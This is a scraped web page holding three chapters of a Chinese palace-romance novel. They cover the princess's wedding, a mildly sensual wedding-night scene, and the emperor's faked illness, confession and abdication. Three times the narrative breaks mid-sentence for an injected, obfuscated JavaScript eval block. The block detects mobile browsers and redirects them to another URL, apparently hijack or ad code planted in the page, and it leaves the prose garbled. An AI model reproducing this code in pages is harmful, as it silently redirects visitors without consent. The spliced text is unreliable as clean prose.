一个时辰后,韦素来报:“已追上去往维扬的车架,但是车内是被绑的舒雁,随行人员内无绣衣使,冰绡以及她统领的十名绣衣使不在京中,不知去向。” 叶皓放下心来,有绣衣使跟随便无须担心。 “师兄是了解你的,猜到你在维扬,他说他真后悔让你学兵法,学的计谋全都用在他身上了。”冷逸尘说着不自觉地笑出声来。 暖暖思忖着这话,问道:“也就是说你来了很久了?” “是的,我在来维扬的几条路上都安排了眼线,找到你们后暗中护送过来,你倒是聪明,还知道狡兔三窟。”冷逸尘说着在她鼻头上轻轻刮了一下。 这一刮,如同一瓣桃花落到心尖,整个春天融进身体内,暖暖的心情变得舒畅起来。 冷逸尘趁着她高兴,赶紧说道:“暖暖,师兄他很担心你。” 不料她却转过脸,不平地说道:”你肯定有传消息给他,他才不会担心。” “天地良心,他最近很忙,我只写过一封信,之后便再未联系。” “我没有错……” “是我们的错,师兄他也后悔,但暖暖你要理解,他是帝王,一言千金,道歉怎能轻易说出口。” “他……真的后悔?那说的话就不作数了!” 冷逸尘带着些焦急说道:“不,婚约是圣旨,天下皆知……” 暖暖得逞一笑:“看你表现~” 那日,她二人是一起回到家中的,冰绡十分惊讶,一是为公主,怎么就好了伤疤忘了痛;二是为了凌将军的能力,竟然在绣衣使眼皮底下接近的公主。 她虽看不上这凌将军,但公主愿意,他也只能不了了之,对凌将军以礼相待。 暖暖依旧不愿回京,冷逸尘便陪着她在此,二人泛舟游湖、喝茶听书,倒也过来一段惬意的日子。 一个月后,韦素拿着一封信找上门来,暖暖看了一眼便大惊失色,当即流下泪来,手止不住的颤抖。 冷逸尘接过来一看,只见上面只写了四个字:朕病,速归。 他忙问韦素情况如何,韦素回答:“属下只负责传信。” “回京!”暖暖当机立断,因为来人是韦素,他是叶皓的近臣,他亲自前来,怕是情况已然不好。 冰绡当即准备车架,但暖暖执意要骑马回京,众人只能依她。 一路风尘仆仆,进京后直奔梁宫太极殿,因韦素的令牌,所以一路畅通无阻,没有任何耽搁。 太极殿的中官看着公主身上沾的草木和裙摆上飞溅的泥土,只恐她御前失仪,忙阻拦道:“陛下刚刚睡下,公主且去偏殿稍待。” 可她如何等得了,呵斥道:“滚开,我要见陛下。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148545|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那中官从未见公主如此动怒过,心想陛下对其极宠爱,恐日后追责起来自己也没好果子吃,便也未十分阻拦。 暖暖与冷逸尘二人进入寝殿内,只见叶皓闭眼躺在床上,眼下乌青,面色蜡黄,唇色发白,两鬓处已现几根白发。 一股酸涩涌上暖暖心头,才离开两个月而已,他怎么变成这副模样,这白发不是一天能生出来的,肯定是早就有了,只是她没注意到而已。 “哥哥……”她跪在脚踏上,握着叶皓的手哭泣起来,心中千分愧疚、万分自责,朝政已让叶皓消耗了精力,而她却还与他置气,她后悔为什么没早些回来,后悔为什么要赌这口气。 “别哭了,我还没死呢!”叶皓的声音在她头顶响起,随后是两声低咳的声音。 暖暖被这声音惊到了,抬头看着叶皓正皱着眉头看着她,:“昨晚批了一夜的奏折,刚服药睡下就被你吵醒了。” 看着叶皓似乎没有想象中的严重,暖暖松了一口气,庆幸他病得不重,之后觉得自己又被骗了,各种情绪杂糅,让她“哇”的一声大哭起来,肆意宣泄着这高兴和委屈。 冷逸尘刚刚将悬着的心放下来,又开始安慰暖暖。 “别哭了,长风扶我起来……”叶皓想自己起来,奈何身体实在是虚弱。 冷逸尘还未安抚好哭泣的,又去扶生病的,不过好在这二人总算是和好了。 他的手搭上叶皓的手腕,之后有些疑惑的看了一眼叶皓,叶皓躲开他的眼神,说道:“喝水!” 之后缓缓说道:“长风,我有话要对她说。” “是。”冷逸尘听话地退了出去。 暖暖依旧在抽抽噎噎,叶皓无奈道:“他都出去了,就别哭了!” “我是哭给他看到吗?我以为你有多严重,竟是诓我的?” “我这病得还不严重吗?” 暖暖自知理亏,不再多言,只问道:“你要和我说什么?” “怎么?还赌气呢?你们二人是和好了,这气就全撒我身上了?你哥的方式或许不对,但你要相信你哥的眼光,我看上的人绝对错不了。” 暖暖一时语塞,现在想来自己这一番折腾的确是伤人伤己。 叶皓长叹一声:“暖暖啊,人生不易,遇到一个两情相悦之人更是难得,好好珍惜,不要同我一样……” 说罢,他手握住那块玉佩,眉头紧促了一下。 暖暖自然知道他说的是谁,她没有想到这段露水情缘竟会如此深刻,她不知如何劝慰,他兄妹二人这点倒是很像,痴情且钟情,只是她嘴硬不承认,而叶皓却是藏在心中从不提及。 “咳咳咳……” 激烈的咳声伴着喉咙翻动的声音,暖暖赶紧奉上手帕,叶皓接过着捂着嘴又咳了几声,之后立即将帕子紧紧握住想要藏起来。 “怎么?”暖暖察觉出异样,夺过帕子,打开一看,一滩血迹赫然出现在眼前,她刚放下的心又悬了起来,脑中一片空白,不敢相信这是真的,声音颤抖的说道:“哥哥……” 叶皓收起帕子,坦然一笑,眼神中透出慈爱与心疼,这个妹妹也算是历经坎坷,但以后再不会了。 “对不起,哥哥,是我的错,我不该任性……” 他伸手抚上她的发髻,低声说道:“都过去了,咱们是亲人,不要计较这些……”他缓了缓继续说道:“别告诉别人,我不知道我这身子还能撑多久……暖暖,成婚吧,长风是个君子,别再错过了。” 暖暖在啜泣中使劲点点头,狠狠地抓着叶皓的手臂,仿佛他下一刻就要离开。 “我累了,去吧……放心,我不会死……” 暖暖不知说什么好,现在能做的只有依令而行,她松开手,跪着向后退了两步,深深叩了一首,不舍地向外走去。 冷逸尘见她一脸悲伤,上前拉住她的手,问道:“师兄他……” 暖暖摇摇头,看着眼前之人,是啊,不能再错过了。 “冷逸尘,我们成婚吧!” 147. 春深花事晚 冷逸尘微微一怔,眼中闪过一丝惊讶的光芒,随即明白叶皓的用意,立刻回答:“好……好!” 婚事既定,一切早已安妥当,礼部代过三书六礼,挑良辰及时,正是三日之后。 依旧制,公主需在梁宫或公主府邸成婚,但梁帝有旨意:公主出降,驸马亲到公主府迎接公主至将军府。 因公主在宗谱上为庆王之女,如此倒也合规,礼部也未有多言。 是日,天朗气清,将军府到公主府所经之处,皆挂红绸、着彩带,仪仗数十人,令设行幕、步障,冷逸尘身着大红婚服,骑高头白驹,在礼官的引导下按吉辰抵达公主府。 这驸马眉如墨画、眼若星辰,俊美无比,光彩夺人,一言一行间尽是优雅与高贵,不想一武将竟会有如此出尘之姿,众人不免都要偷偷地多看两眼。 一切依礼而行,将公主迎入十二人抬的金铜轿内,轿子上方紫顶朱脊,四周木制栏窗,悬珠帘绣匾,饰云凤花朵纹,奢华无比。 嫁妆箱子数百,以至于队伍仪仗进了将军府而后面的还没有出发,如此盛世婚礼之景,人们闻所未闻、见所未见。 锣鼓喧天、鞭炮齐鸣,欢声雷动、宾客如云,吉日吉时、昭告天地,嘉礼初成、良缘遂缔。 热闹一日,众宾客渐渐散去,季萧已是七分醉意,他拉着冷逸尘说道:“今日的酒,我可是替驸马都喝完了,驸马要记得谢我……驸马快去……别让公主等、等久了……” “今日多谢,来人,送季将军去休息。”冷逸尘边说边招呼侍从过来。 “我自己走!”季萧推开来人:“这点酒算什么?我可以自己走……” 看着季萧东倒西歪的步伐,冷逸尘心中甚是感激,他闻了闻袖子,已沾上酒味,怕是暖暖会不喜欢,于是着人安排沐浴。 一番清洗熏香后,他提着食盒向寝殿走去,食盒里是他亲手做的蛋羹,可刚到门口,就听见里面的传来师英玉的声音。 “你成婚了,以后咱们就再没机会这样饮酒了……” 门口的侍女刚想敲门,却被他阻止,将食盒交给侍女并吩咐道:“等公主的客人走了再来知会我。” 他不进去是不想暖暖再像以前一样,她该有自己的朋友,但随后想到,这次孤身一人是他自己。 已经临近子夜十分,侍女侍从劳累了一日,待送走宾客、收拾了残席后便换班安歇,繁华热闹过后是无限的寂静,满院的红帐花烛,只静默无言。 也不知这“贵客”何时能走,他有些惆怅,缓步慢行至花园,院中花开正盛,大朵的牡丹被月光罩上银色的光芒,显得格外柔和静谧。 此后与暖暖树下赏月、花间抚琴,他再也不会孤单了,想到这里冷逸尘不禁低头一笑。 “长风……”花丛的另一端响起叶皓的声音。 “师兄!”冷逸尘还没看清人,这两个字已经叫出了口,待他看见叶皓一身玄色龙纹衣袍,不由得端正一礼:“陛下!” 叶皓见他在此,并未感到惊讶,他已命人打探过府内的情况,才来此处寻人,他抬手示意免礼:“此处无人,还是叫师兄吧。” “师兄怎么这个时辰来了?” “来给你贺喜,方才人多不方便,我带了坛好酒,咱们一起!” 二人选择了屋顶,叶皓身子一歪,靠在屋顶上,冷逸尘则坐得规矩端正。 “咱们二人已经很久没在屋顶上饮酒了。” 叶皓说着饮了一口酒,舌头上的伤口被杀得极痛,他面容微微扭曲,紧紧双眼咽下了这疼痛。 前几日骗暖暖的那口血,是他咬破舌尖才吐出来的。 冷逸目视远方星辰,并没有注意到叶皓的表情,但却郑重的说道:“师兄,谢谢。” 那日在太极殿,他手搭上叶皓的脉,虽只有一瞬,但还是能感受到那脉搏的强劲有力,毫无油尽灯枯之相。 “谢什么,咱们兄弟间还用说这些?不过有一件事,我倒是很好奇。”叶皓顿了一下,认真的说道:“当年祁囯宫变,你父皇留下的遗诏是真的吗?” “是,遗诏写了,但玺印是我盖上去的。” 这是冷逸尘第一次提及此事,当时的惊心动魄,如今说出来时却是这样平淡。 叶皓有些不解:“那时你手握兵权,又有朝臣支持,就没想过要争权夺位?你应该知道,有了权利,才能去做你想做的事。” 冷逸尘摇摇头:“这位置本就不属于我,我坐着也不会安心,再者……她也不希望我坐上那个位置。” 叶皓听了心中一颤,想到自身,他自己也是没有一日能安心过!还有暖暖可真是偏心,不希望长风登临帝位,却将自己推上了这个位置,承受这高处不胜寒之苦。 但这也是他要为师门复仇付出的代价。 “怎么?”冷逸尘看着叶皓的出神,不知为何。 “没什么……”叶皓还是放下酒坛,没有再饮酒,而转移话题:“我未想到招摇山和我长右山竟还有如此孽缘。” “师傅的事,不是我们小辈可议论的。” “哈哈,你呀!就是太循规蹈矩了。”叶皓调侃两句,他知长风是不愿再提及,要给师傅留几分体面。 关于荀秀峰与招摇山圣女的事,不过是两情相悦、世俗不容、被迫分离、因爱生恨,只不过圣女以为亲女儿死于襁褓中,错将荀婉婉误认为是荀秀峰与别人所生之女,要杀了她来泄愤,才有了剑宗大比之事。 冷逸尘拿起酒坛,说道:“我敬师兄,谢师兄再造之恩。” “你做什么?这可不行,暖暖还在等你。”叶皓想拿过酒坛,今日这样重要,可不能误了大事。 冷逸尘却不肯,饮下一大口后说道:“这酒,今日我一定要喝,我得遇你为兄弟,娶得暖暖为妻,便再无所求,此生足矣。” 叶皓拍拍他的肩膀:“怎么就知足了?以后我们还要撑起师门,撑起长右山。” 冷逸尘看着他目光中的希望,有些惋惜,叶皓天资聪颖,是练剑修行的好苗子,只可惜身居帝位,那里还有机会再上长右山。 他反问道:“师兄可是喝多了?不过师兄放心,我不会辜负你的期望!” “是你喝多了!我带你回去。” 叶皓知他撑不了多久,叫来韦素帮忙,等下了屋顶,冷逸尘已步履虚浮。 “扶驸马回去……不,送他去偏殿休息,夜间务必派人看守好!” “是,属下亲自看守,定不叫人接近驸马!”韦素接过驸马,心中疑惑,喝多了而已,何至于这样,后来他才发觉,这驸马还真是不胜酒力。 叶皓带着侍卫往角门走,夜间私访,他不便走正门,却在一门廊处遇见一男子。 那男子见陛下驾到,立即迎上来叩拜:“未将程旷拜见陛下!” “程旷?宴席已散,为何还在此逗留?” 程旷见一众人皆着深色,知陛下是秘密来此,小声回答:“回陛下,未将等末将的内人一起回府。” “哦?女眷也没散吗?” 程旷如实回答:“内人陪伴公主,还未散席。” 叶皓对侍卫耳语几句,侍卫领命而去,不多时冰绡扶着呓语师英玉到来。 “我才不要他管……” 程旷将手中的披风为师英玉披上,接过她牢牢地扶住,对叶皓躬身行礼:“末将告退。”之后背起师英玉,朝将军府大门方向走去。 叶皓对他们之事也有所耳闻,心中叹息,这二人是和离不成的。 天河没、日轮起,梁间燕啼吵醒了暖暖,她睁开眼睛,只觉头脑有些昏沉,看着周遭一片红色,才记起昨日大婚,真是好生糊涂。 侍女见公主醒来,立即出去安排洗漱梳妆事宜。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149833|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >昨晚她虽喝多了,可事情却记得一清二楚,师英玉对她大吐苦水,说婚后之事诸般不如意,她还记得师英玉觉得困倦,刚走到床边脚踏上便睡了过去,她还为她盖上了被子,之后自己便也睡着了。 舒雁一面为她更衣一面说道:“驸马送来了吃食,那是您还再和师小将军饮酒,后来她夫君将她接走了。” 师英玉和离之事,纠缠至今也没有个结果,饶是如她这般决绝,可依旧不能快刀斩乱麻,这世间事,哪里是一句两句能道得明白的? 暖暖摇头叹息,之后问道:“驸马呢?” “在花园练剑,公主要见他吗?奴婢这就命人去请。” 暖暖闻着屋子的酒气,看看镜中妆容已花,摆摆手道:“不必了,准备沐浴,把这屋子好好收拾一下。” 褪去一身铅华她觉得舒爽起来,靠着浴池感受着热气熏蒸,酒气散尽她有些口渴,命侍女端些茶来。 背后脚步声起,她以为是侍女进来,便说道:“茶放下吧,我一会儿喝。” 但那侍女却未听,倒了茶送到她嘴边。 “我说了……”她边说边睁开眼睛,只见那端着杯子的手却是冷逸尘的。 她忙转头,见来人正对着他笑,这笑意令人恍惚,她愣了一下之后竟有些慌张,水中的她可是一丝未挂,赶紧捂住前胸,转身面向浴池,试图遮掩重要部位。 “你……怎么来了?” “怎么,不能来吗?我是驸马,自是要服侍公主沐浴的!”冷逸尘说着又将茶杯送至她嘴边。 暖暖只能喝了一口,是茉莉茶,清香四溢,提神醒脑。 水珠残留唇上,冷逸尘伸出拇指轻轻擦掉,柔软的触感让他有些心神不稳。 “昨晚……我……”暖暖有些歉意,新婚之夜又一次将他晾在一边。 “公主欠了我的洞房花烛夜,可是要补上的。”冷逸尘凑近了一些。 热气喷洒在肌肤上,如沾上了花瓣,痒痒的,脸颊已是一片绯红,她别过头去:“现在是白日……” “白日又怎样?” 冷逸尘说着解开了腰间的玉钩带,衣衫随即滑落,进了浴池,从后面将她圈入怀中。 “怎这般轻浮……嗯……”暖暖被一团热气包围,此时若再说什么,倒些不合时宜了。 冷逸尘未语,将怀中人转过身来,低头见那凝情的双眸中水波微漾,于是一只手紧紧揽过她的腰身,一只手沿着脊背一路向下,触到那块海棠胎记。 暖风拂峰峦、微雨掠平原,一路繁花盛、一川水波荡,这场花事烂漫到难管难收,却是意犹未尽。 她仰头看他,他微笑回应,在她唇上一吻:“公主可还满意?” 一句话又令她娇羞,低头不敢直视那灼热的目光。 冷逸尘安抚了她一会儿,自己先穿上衣衫,而后为她擦干身子,用大浴巾一包,抱着她走出浴室。 浴室到寝殿只有几步的路,侍女早已识趣地避开,这一路并无人看见。 他将暖暖放到床上,柔声道:“睡一会儿,我去安排膳食。” 暖暖却不想他离开,伸出手拉住他的衣袖,浴巾散开,露出一片肌肤胜雪。 看着青丝漫散落,皓腕玉生香,冷逸尘的喉结不自觉滚动了一下,在投来的目光中,他感受到了毫无顾忌的眷恋与爱慕,这让他欣慰,他从来没见过她这般不遮掩自己的情感,他也终于看到了他的期望,确定了她的心意。 此时,他怎能离开,怎舍得离开,于是一手放下帷幕,一手褪了衣衫。 “我不是这个意思。”暖暖松了手,欲将脸埋进浴巾。 冷逸心中却是无限欢喜,拉开浴巾,凑上前去:“我是这个意思……” 俯身细抚,指尖弄痒,共尝温热,窃语痴狂。 青丝缠绕,双影摇晃,纱帐颤颤,揉碎春光。 148. 来时是来时 冷逸尘看着怀中软玉,尚带着微微娇喘,双目微阖贴着他小憩,肩颈处的肌肤上留着红梅状的爱痕,他轻抚着这些痕迹,心中却在懊悔,自己怎么就这样克制不住。 这不是他们的第一次,情浓远在新婚之上。 怀中人动了一下,一条胳膊勾上他的脖颈,撒娇地蹭了蹭,他立即将丝衾往上拽了拽,将人拥得更紧些,这样亲密的接触,感觉真是奇妙,似与以往有所不同。 江南风水养人,她被亲人养得极好,面色红润起来,身体也不再瘦弱,关于她的一切,都比以前更加美好。 此刻,他真不知要如何爱她才好,恨不得将她揣在怀中,永远不分开, 回忆初见时,她是那样的瘦弱无助,脂粉浓妆遮不住面上的忧伤,那时她才十七岁,远离故土亲人,独身在异国,总是悬着一颗心,即便是将她带到了一处看似安定的地方,她也难以扎根。 之后的颠沛流离令他们分开了太久,久到快要绝望之时,上天眷顾又让他们相逢,如今能再次拥着她,多么的幸运和幸福。 这幸运和幸福化作泪水,落入暖暖额前的发丝中。 “怎么了?”暖暖感受到额前的湿热,侧过脸看到他眼角的泪痕,蹙着眉头抬手去擦拭。 他拉起她伸出的手,放到唇上一吻,之后用脸贴在了掌心上,“我是开心……”,说着又要去吻。 开心!的确让人开心,暖暖却以为他又要无节制,扭头错开,冷逸尘却扣住她的腰去探那双唇,腰间猝不及防传来的痒意,让她笑着求饶。 外面响起了叩门声打断了他们,侍女询问是否要用膳,并提示今日还要宴请宾客。 帐中嬉笑声止住,二人相视,皆羞涩一笑。 将军府上又热闹了两日,第三日回门之日,宫中传来旨意,召平阳公主与驸马燕山侯入宫觐见,见面地点不是太极殿也不是后宫,而是后苑经堂内。 经堂?暖暖似乎感觉到了什么,但是又不太确定。 二人到达经堂时,叶皓已在外面等待,他看上去面色好了一些,但是身体还是很虚弱。 “长风,还未到祭祀之时,你们就在此为暖暖的母妃和你的父皇母后磕个头,让她们放心。” 提起父母,二人皆湿了眼眶,他们先面向祁京的方向叩拜,而后又面向暖暖母亲生前的住处叩拜。 暖暖对母亲是思念,但冷逸尘对于父母却是另一番感情,大难与惊险都似前尘随风散,他与父母之间唯剩亲与敬。 之后他们以为叶皓会说些什么劝慰的话,未想却听他说道:“长风在这里等着,暖暖你随我来。” 这带着帝王威严不容置疑的语气让暖暖心慌,她猜不出接下来会发生什么,不知道要如何应对,但是她不得不跟着叶皓前去。 她担忧地看了一眼冷逸尘,却见他对她点了下头,似乎在说:放心。 经堂中的静谧一如既往,阳光被菱花窗被分割成几束,灰尘在光束中摇曳起舞,飞到一个人的背影上。 这个背影,和那年那个蹒跚的背影重叠,暖暖心中陡然一惊,双膝一软跪了下去,不想叶皓也跟着跪了下去。 那背影转过身来,却是叶均,他见二人如此也立即跪拜下去,深深叩首:“陛下这是何意?” 叶皓打开一个盒子,从中拿出一个锦囊。 这个盒子、这个锦囊,暖暖再熟悉不过,当年是她亲手将她父皇的遗诏放了进去。 这遗诏没有被毁!! 她精神紧张,不知该说什么、做什么,只能叩首等待。 紧接着叶皓双手奉上锦囊,掷地有声地说道:“我叶皓,指使平阳公主叶青修改遗诏,篡位夺权,有愧于先帝,有愧于江山,此我一人所为,无关他人,今还政于兄,请兄长处决。” 叶均仿佛听到一声炸雷,身体竟不能动弹,直到叶皓膝行两步上前,再次送上锦囊,他才接过。 这锦囊上有烧灼过的痕迹,但里面的经幡完好无损,徐徐展开经幡,上面是暖暖的字迹,“立叶均为太子”几个字赫然在焉,最后一句是先帝亲笔:叶遵于后苑经堂立此诏,乙巳年五月初三。 先帝的字迹他识得,先帝的名讳无人敢擅自书写,这才是真正的遗诏! 叶均看着遗诏并没有感到遗憾,反而是释然,他的父亲原谅了他、认可了他,这就已经足够了,至于这皇位,他早就断了希望,在他心中,叶皓就是最好的帝王人选。 他看着叩首的二人,起身将经幡放到了烛火之上,没有了锦囊的保护,经幡很快燃烧起来,叶皓立即去抢救,完全不顾火焰的灼烧,但最终经幡上的内容还是被毁尽。 叶均低沉的声音响起:“暖暖,这是我们兄弟间的事,你出去。” 暖暖木然,只能依令而行,出了经堂却无法离去,她担心二人会有冲突,于是跪在了大门之外,仔细听着里面的动静。 然而她什么也没听见。 不多时二人出来,似乎什么也没发生一般,二人仍旧是好君臣、好兄弟。 后来,暖暖问过叶皓,既然他想一个人承担这罪责,为什么还要叫她前去?又为什么又要等到她成婚后再将此事说出来?叶皓倒是如实回答:“我叫你一起去见三哥,是因为我也怕呀,我知道他不会责罚你,所以就利用了三哥对你的亲情。等你成婚再交代实情,是因为我怕退位之后三哥反悔这桩婚事……你可能不知道,他不看好长风。” 而叶均看不上冷逸尘这一点,是暖暖没想到的,因为后来叶均会交给冷逸尘一些不重要的差事,一开始她以为叶均是惜冷逸尘之才,后来再见到长公主驸马时,她才明白,叶均是怕冷逸尘也去炼丹修仙。 果然是“父母之爱子,则为之计深远”。 那日她与冷逸尘离宫后,宫内便传出陛下病重的消息,紧接着就是退位让贤、离宫修养的消息。 时间在各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159274|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种仪式和大典中过得飞快,这期间他们再没有见过叶皓,暖暖有时会往坏处想,但冷逸尘总是告诉她:放心,师兄自有安排。虽然具体什么安排他也不知道,但他知道叶皓一定会安排好。 一个月后暖暖收到一封信,上面只有两个字:维扬。这是叶皓的笔迹,字体洒脱飘逸,每一笔都透露着轻松与自由的气息。 几日后,她与冷逸尘到达了维扬知春巷的那座宅院中时,叶皓正在浇着花圃中的茉莉花。 周围的宅子已都被买下,打通连起来成了一座不小的宅院,而冷逸尘似乎对这里不陌生。 看着她的疑惑,冷逸尘主动交代:“我自燕北过来时,便是在这里休养,那时院子已经开始动工。” 一个个的,还真是老谋深算,不愧是同门,她佯装生气:“还有什么没说?今天最好一并都说了。” 叶皓笑了笑,补充道:“还有,如今我们二人的俸禄不够养活自己,此后全仰仗公主大人了。” 暖暖叹了口气,怪不得大婚之时赏赐那么多,估计她要养的不止他们二人,还有长右山。 这老谋深算,算得可真是深! 当日的接风宴过后,叶皓不辞而别,但他们都知道他去了长右山,暖暖看着他留下的茉莉花,问冷逸尘:“你是不是也想去长右山?” “你在哪里我就在哪里。”冷逸尘笑着回应,此前他希望最后的归处是长右山,而如今他只希望能守着爱人,看遍这世间一年又一年的繁花开落。 他偶尔会想起泽生来,不知他在燕北如何了。 而在燕北,战事已停,接着就是修葺长城,这还是崇宁王在世时,向祁帝和内阁提出的建议,但修长城这事让任泽生一武将来督守,那简直是太屈才了,于是泽生辞了朝中任命,封印挂金,骑着公主留下的那匹珍珠马,连夜离开辽东,一路向南直奔长右山。 ******** 长右山最高的山峰上有一处平坦之地,天气晴朗时,可以俯视群山、眺望大海,荀秀峰就安葬在这里。 这日微风无云,叶皓提了酒坛给师傅祭酒后,坐在坟前望向海天交接之处,眼前又浮现出师傅严肃的面容和长风笨拙的剑术。 “师傅,师门算是被我撑起来了,您放心,您那些陈年旧事不会有人知道。” 叶皓痛饮一口酒,想来他师傅可以瞑目了,可恨的是长风,说好一起上山来,却贪恋维扬的繁华,迟迟不归。 他对今后没有打算,暂时也不想收徒,也许会到处走一走,去看看大漠孤烟、塞北风雪…… 腰间玉坠动一下,他轻轻抚了抚,心中感到满足。 他与这红尘梦,与这帝王劫,来时一身来,去时一身去,大难过去归了本位,他仍是这长右山上一株劲松、一块顽石,当年多少世事虚华,都好似与他没了关系。 虽然归来已不再年少,但是人生才刚刚开始。 正文完结。